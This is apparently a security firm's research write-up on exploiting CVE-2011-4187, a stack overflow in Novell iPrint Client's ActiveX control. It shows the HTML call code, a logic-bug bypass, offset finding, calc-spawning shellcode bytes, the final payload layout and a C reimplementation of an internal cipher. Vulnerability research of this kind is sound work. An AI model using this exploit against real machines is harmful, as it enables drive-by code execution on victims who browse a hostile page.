Vulnerability Research

ActiveX controller exploitation

Reverse-engineering and exploiting CVE-2011-4187, a stack buffer overflow in Novell iPrint Client's ActiveX component, from CVE ID to arbitrary code execution on Windows XP.

In brief

A printing add-on installed in Internet Explorer let any web page pass it four pieces of text, and one was copied into a fixed-size space with no length check. This post goes from the one public line describing that bug to a web page running code of the attacker’s choosing on Windows XP.

CVE-2011-4187

Stack buffer overflow in IppGetDriverSettings2 (nipplib.dll, Novell iPrint Client < 5.78). Reachable from a web page through the iPrint ActiveX controller (CLSID 36723F97-7AA0-11D4-8919-FF2D71D0D32C) on Windows XP. No public exploit at the time of research.

What we start with

A CVE number and one line on cvedetails:

Buffer overflow in the GetDriverSettings function in nipplib.dll in Novell iPrint Client before 5.78 on Windows allows remote attackers to execute arbitrary code via a long realm field, a different vulnerability than CVE-2011-3173.

That is the whole public record. No exploit, no write-up, no advisory detail beyond the sentence above. We know the vulnerable function, we know the parameter that reaches it, and we know it is a buffer overflow. Everything between that sentence and a running shellcode is ours to find.

The client only installs on Windows XP, so the work runs on a Windows XP SP3 virtual machine, with a Windows 10 box alongside for the SDK tooling. IDA for the static work, x64dbg for the dynamic work.

Finding the controller

The iPrint client ships an ActiveX controller, which is what makes this reachable from a web page at all. Searching the registry for Novell iPrint gives its CLSID:

Registry Editor entry showing the iPrint controller CLSID

The controller itself is ienipp.ocx, in C:\Windows\system32\, and the heavy lifting is delegated to nipplib.dll sitting next to it. Both are worth listing before opening either:

The iPrint files installed under system32

Browsing ienipp.ocx with the OLE/COM Object Viewer from the Windows 10 SDK lists every method the control exposes to a page:

OLE/COM Object Viewer browsing the methods exposed by ienipp.ocx

GetDriverSettings is there, the name the CVE gives us, along with a GetDriverSettings2 variant. Instantiating the control from an HTML page and calling it is four lines:

<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/>
</object>
<script>
target.GetDriverSettings("uri", "realm", "user", "password");
</script>
</html>

Before spending a day in a disassembler it is worth proving the plumbing works. The control exposes a ShowMessageBox method, which is the cheapest possible test:

The controller's ShowMessageBox method in the type library

A message box raised from a local HTML page through the controller

The CLSID is right, the calling convention is right, and a page can drive the control. Now we can go looking for the bug.

Reversing ienipp.ocx

Opening ienipp.ocx in IDA prompts for nipplib.dll, which is already a hint: the control is a front end and the real code lives in the library. We hand IDA the DLL from system32 and let it resolve.

Searching the imported functions for GetDriverSettings finds the entry point:

GetDriverSettings among the functions imported from nipplib.dll

Following its cross-references shows it is called from exactly one place:

The single cross-reference to the vulnerable function

One call site, at ienipp.ocx:0x1000AE54. The block that leads to it is dense, and its strings are discouraging:

Control flow leading to the vulnerable IppGetDriverSettings2 call site

ipp://%s/ipp/IppSrvr sits right there, with %s waiting for the printer URL we control. The obvious reading is that the control talks to a real IPP server on port 631, and that nothing interesting happens until one answers correctly. That reading costs a lot of time, and the whole exploit is in seeing past it.

This is a write-up, not a full disassembly listing. I will not walk every block I read, only the branches that decide something, and I will sum up the state after each one.

Two gates stand between a page calling the method and the vulnerable function running.

The first is a length check on each of the four parameters, printerUri, realm, userName and password, applied at the very top of the block:

Length check applied to each of the four method parameters

Anything past 0x200 bytes is rejected here, before anything else runs. Keep that ceiling in mind, because it is what makes the rest of the bypass possible.

The second gate is the main block of the series:

main_checks block: important_check return value gates the vulnerable call

The call marked in red decides the next jump. If sub_1000FBD0 returns anything other than zero, the vulnerable call is skipped and we jump straight to the end of the function. If it returns zero, and one further length check passes, the vulnerable function is called. That makes sub_1000FBD0 the gate that matters, so we rename it important_check and read it.

The body of important_check

It is short. It calls IppMgmtGetServerVersion2, exported by nipplib.dll, and returns zero when that function returns zero:

important_check forwarding to IppMgmtGetServerVersion2

That is everything the .OCX has to tell us. Two conditions reach the bug:

The second one is where the work is, and it lives in the library.

Reversing nipplib.dll

We open nipplib.dll on its own. IppGetDriverSettings2 is the eventual target, but there is no point reversing a function we cannot reach, so IppMgmtGetServerVersion2 comes first.

IppMgmtGetServerVersion2 forwarding to sub_5C04B514

It forwards to sub_5C04B514, which is where the logic is:

Control flow graph of sub_5C04B514

A lot happens in there, and the IPP requests are somewhere inside it. The first idea that comes to mind is that we need a server to answer them.

Step back and read the graph as a set of conditions rather than as a protocol implementation, forgetting for a moment what the function is supposed to achieve, and a different question presents itself. The function returns -1 when it cannot get the server version, and we need zero. So: which jumps end at a return 0 block?

The first one does.

First conditional jump in sub_5C04B514, branching on IppCreateServerRef

One of its two paths lands directly on a block that sets the return value to zero, with no further checks on the way:

The mov eax, 0 ; ret block reached when IppCreateServerRef fails

The condition is backwards. If IppCreateServerRef returns NULL, IppMgmtGetServerVersion2 returns zero, and zero is the success code. An allocation and setup failure is being reported as a successful version probe. This is a programming logic bug: an error path that was never given its own return value.

The consequence is large. We do not have to satisfy the handshake, we have to break it. No server, no port 631, no negotiation, and no need to reverse the rest of the function at all. The whole checking process has a hole in it, and it is visible in the control flow graph without running anything.

So the question becomes: how do we make IppCreateServerRef fail?

A word on the dynamic side

Every time I needed to know what a function actually receives, or how the program behaves on a given return value, I ran Internet Explorer under x64dbg on the Windows XP machine, put a breakpoint on the call and read the stack. I will not repeat this for every function, so here is one example, on IppCreateServerRef:

Breakpoint set on the IppCreateServerRef call

The stack at that breakpoint, showing the URL parameter

The parameters pushed on the stack are the URL we passed in printerUri. So IppCreateServerRef is checking our URL, and with any luck it decides its return value without ever touching the network.

Making IppCreateServerRef fail

Back in IDA, we look for a block that returns failure and work out how to reach it:

Searching for the failure block inside IppCreateServerRef

The first jump depends on an allocator result, which we have no influence over. The second one depends on sub_50022960: if that helper returns anything other than zero, IppCreateServerRef takes the failure path, which is exactly what we want.

sub_50022960 and its first length check

sub_50022960 checks the URL twice. The first check is on the total URL length, capped at 0x200. That would be an easy way to fail the function, except the .OCX already rejects any parameter past 0x200 before we ever get here, so this check can never trip.

The second check is more useful, and dynamic debugging is what surfaced it:

Length check on the URL prefix before "://"

It measures the part of the URL that precedes ://. Here I passed testingipp as a test case. If that prefix exceeds 0x100 bytes, the function fails. That is the lever: we need a long prefix, long enough to fail this check, while the URL as a whole stays under the 0x200 the .OCX allows.

The chain, end to end

Four links, each one following from the last:

No server anywhere in that chain.

A theory is worth nothing until it runs, so we write a URL with a long prefix:

A test URL with a long prefix before the scheme separator

Then set a breakpoint on the IppGetDriverSettings2 call and load the page:

The debugger stopped on the call to the vulnerable function

We reach the call. The bypass works, and it cost one long string. An error status handled carelessly took us straight to a critical function that would otherwise have needed a full IPP server implementation to reach, and possibly could not have been reached at all.

I insist on this because my first attempt was the other one. I built and emulated an IPP server, answering request by request, before noticing the branch above. That work is in the last section of this post; it produced nothing and I dropped it.

The vulnerable function

IppGetDriverSettings2 has one more gate before any interesting code, an strstr on the URL:

strstr check on iPrint-driver-profile-hiddenPA

If the URL does not contain the literal iPrint-driver-profile-hiddenPA, the function returns. So we put that string in the suffix, after the ://, and move on. There is presumably a good reason for it inside the driver profile flow, and I did not look for it.

That is a choice worth stating plainly, because it comes up constantly when reversing something this size. We cannot understand all of a binary this large, so we understand the parts that stand between us and the goal, and we leave the rest. A string check we can satisfy in one line does not need a rationale.

Now the bug itself. We know it is a buffer overflow on realm, and one strcpy among the many in this function takes realm as its source:

strcpy taking realm as source, with no length check on the destination

The destination is a fixed-size stack buffer and nothing measures the source. Passing a realm of 0x200 bytes, the largest the .OCX will pass through, should overflow it well past the saved return address.

Exploitation

Two operational notes before the debugging starts, both of which cost me time.

Once the controller crashes, it keeps crashing on every subsequent call, so the Windows XP machine needs a reboot between attempts. I never established why.

And attaching a debugger requires a running process, so each round starts by loading a harmless payload, AAAA in every field, attaching x64dbg to Internet Explorer, and only then opening the real page.

Controlling EIP

First attempt, realm filled with A up to the cap:

The first crash

Continuing to the crash and reading the registers:

Registers at the first crash, EBX = 0x41414141

The overflow happened, but the crash is not the one we want. EIP is intact; EBX holds 0x41414141 and the fault is inside a strlen that received it as an address. We overwrote a pointer that a later call in the same frame uses, and it died before the function could return.

There are two possibilities in that situation, and they point in opposite directions. Either we wrote too far and should shorten the payload, or we did not write far enough, and the fix is to write more while replacing the bytes that cause the early crash with something valid. That second technique is worth knowing: when a program dies before reaching the saved return address, give it the minimum it needs not to die, usually any mapped address, since whatever it does with it stops mattering the moment we take the execution flow.

Here the choice is made for us. The .OCX caps us at 0x200 bytes, so growing the payload is not an option and we shorten it instead:

A shorter realm value

Crash with EIP = 0x41414141 after the ret instruction

The overflow now stops exactly on the saved return address, ret loads it, and EIP is ours.

EIP under control

When the offset is not obvious, removing characters until the crash changes is one way to find it, and a cyclic pattern such as AAAABBBBCCCCDDDD is the faster one.

Windows XP SP3 in this configuration has neither DEP nor ASLR, so from here the remaining work is bookkeeping:

The shellcode

realm cannot carry both the padding to the saved return address and a shellcode. The other three parameters are pushed on the stack ahead of it and are not put through the same downstream processing, so userName is the natural place to store it.

A pop-calc shellcode for Windows XP SP3 EN, sixteen bytes, originally from shell-storm (archived copy, the domain no longer resolves):

"\x31\xC9"             // xor  ecx, ecx
"\x51"                 // push ecx
"\x68\x63\x61\x6C\x63" // push 0x636c6163   ('calc')
"\x54"                 // push esp
"\xB8\xC7\x93\xC2\x77" // mov  eax, 0x77c293c7
"\xFF\xD0"             // call eax

Splicing raw bytes into an HTML file is what xxd -p -r is for. The page we load first carries the shellcode in userName and a harmless realm, so nothing overflows:

The payload carrying the shellcode with a harmless realm

Finding its address

With a breakpoint on the IppGetDriverSettings2 call, the arguments are on the stack and the third one is userName:

Stack frame at IppGetDriverSettings2, userName address visible

0x02843728 on this run, and dumping that address shows the shellcode sitting there. The layout is stable enough across calls that the address holds for the next one, as long as the process is not restarted.

Jumping to it

The last payload replaces the 0x41414141 filler at the saved-return-address offset with 0x02843728, little-endian:

The final payload

$ xxd -p -r payload > win_payload.html

Which gives a page whose call looks like this, abbreviated:

<script>
target.GetDriverSettings(
  "<0x100+ bytes of filler>://iPrint-driver-profile-hiddenPA",
  "<padding to the saved return address>\x28\x37\x84\x02",
  "<calc shellcode bytes>",
  "A");
</script>

Detach the debugger, load the page in Internet Explorer:

calc.exe spawned by the iPrint ActiveX controller

Arbitrary code execution from a single HTML page, with no IPP server anywhere.

Paths that failed

Both of the routes below came before the one above, and neither reached the result. They are worth writing down: the first is the reason the logic bug is interesting, and the second is a dead end with a provable reason for being dead, which is more useful than an inconclusive one.

Emulating an IPP server

Before noticing that IppCreateServerRef failing is treated as success, the obvious plan was to make IppMgmtGetServerVersion2 succeed honestly by answering the requests it makes. I gave a machine a domain name, opened port 631 with nc and waited to see what the client sends:

$ nc -lvp 631
Listening on [0.0.0.0] (family 0, port 631)
Connection from x.x.x.x 35136 received!
POST /ipp/IppSrvr HTTP/1.1
Accept: application/ipp
Accept-Charset: UTF-8,ISO-8859-1
Accept-Language: en-us, en
User-Agent: Novell iPrint Client - v05.74.00
Cache-Control: no-cache
Pragma: no-cache
Host: iprint.local-intranet-do.cf:631
Content-type: application/ipp
Connection: keep-alive
Content-length: 112

@G..attributes-charset.utf-8.H..attributes-natural-language.en-us.D.operation-name.get-server-version.server-version.1.1

So the POST to /ipp/IppSrvr has to succeed. Reversing IppMgmtGetServerVersion2 further shows three calls that matter:

The three calls inside IppMgmtGetServerVersion2

The first makes the network request. The second, nipplib.5C0450B3, is a large set of tests on the answer. The third runs additional checks and is called when the second fails. Everything depends on the second one, so that is the one I read:

The version-number check on the server's reply

Encoding an attribute group correctly means reading the specification, RFC 8010, which lays out the message format field by field:

   -----------------------------------------------
   |                  version-number             |   2 bytes  - required
   -----------------------------------------------
   |               operation-id (request)        |
   |                      or                     |   2 bytes  - required
   |               status-code (response)        |
   -----------------------------------------------
   |                   request-id                |   4 bytes  - required
   -----------------------------------------------
   |                 attribute-group             |   n bytes  - 0 or more
   -----------------------------------------------
   |              end-of-attributes-tag          |   1 byte   - required
   -----------------------------------------------
   |                     data                    |   q bytes  - optional
   -----------------------------------------------

My replies got progressively further into the validation, and then every iteration died inside a strlen on a NULL argument, which points at another attribute or data field the client expects and I was not sending. I stopped there, because by that point I had found the branch that makes all of this unnecessary.

Overflowing the ciphertext instead of the cleartext

While hunting for the right realm length, an input too short to reach the saved return address directly still managed to corrupt it, through a second buffer.

A function downstream of the strcpy runs realm through an internal block cipher: eight-byte blocks, a large static key in .data, and the result written into a separate stack buffer with sprintf("%02hhX", b), so the output is twice the length of the input. Short enough to miss the first overflow, long enough to overrun that second buffer, and EIP is controlled again, but through the hex text rather than through our own bytes.

The cipher is small enough to lift into C and run offline once the key is recovered from memory:

unsigned int shift_on_key(unsigned int tmp_bloc) {
    unsigned int idx;
    unsigned int s1, s2, s3, s4;

    idx = ((tmp_bloc >> 24) & 0xff) * 4 + 0x048;
    s1  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx = ((tmp_bloc >> 16) & 0xff) * 4 + 0x448;
    s2  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx = ((tmp_bloc >>  8) & 0xff) * 4 + 0x848;
    s3  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx =  (tmp_bloc        & 0xff) * 4 + 0xc48;
    s4  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    return (((s2 + s1) ^ s3) + s4);
}

/* get_new_key derives (key_part1, key_part2) from the previous key
   through 18 rounds of shift_on_key and xor with the static key blocs. */

int main(int argc, char **argv) {
    char *entry = argv[1];
    int i = 0;
    get_new_key(key, the_key);
    while (entry[i]) {
        for (int b = 0; b < 8; b++) {
            unsigned int kpart = (b < 4) ? key_part1 : key_part2;
            unsigned int sh    = (3 - (b & 3)) * 8;
            if (entry[i]) newbuf[i] = entry[i] ^ ((kpart >> sh) & 0xff);
            i++;
        }
        /* feed the swapped output bloc back as the next old key, re-derive */
        get_new_key(key, the_key);
    }
    /* hex-encode newbuf into realbuf with sprintf("%02hhX", ...) */
}

Searching for an input whose ciphertext ends in the bytes we want gives one ending in \xAA\xAA, which hex-encodes to AAAA, so EIP becomes 0x41414141:

$ ./a.out $(python -c 'print "B"*132 + "\x43\x90"')
... 3CCAF8EFDA95CFDA49177C2EAAAA

EIP control through this path is real, and the path is still dead, for a reason the C reimplementation makes obvious. sprintf("%02hhX", b) emits two ASCII hex digits per byte, so every byte that reaches EIP is one of 0x30 to 0x39 or 0x41 to 0x46. No address in any loaded module, and no address on the stack, is spelled entirely in that alphabet. There is no search to run and no cleverness to apply: the encoding removes the addresses we would need before we get to choose one.

Knowing that is worth the detour. A path abandoned because it did not seem to work leaves you wondering; a path abandoned because its output alphabet cannot contain the answer is closed.

Conclusion

The buffer overflow in this CVE is the least interesting part of it. One strcpy with an unmeasured source, on a platform with no DEP and no ASLR, on a parameter a web page hands over directly. Everything that made this exercise worth several days sat in front of the bug rather than in it.

What actually decided the outcome:

Work like this is what we do under engagement.

[email protected] Vulnerability Research

No spam, one click to unsubscribe. Privacy.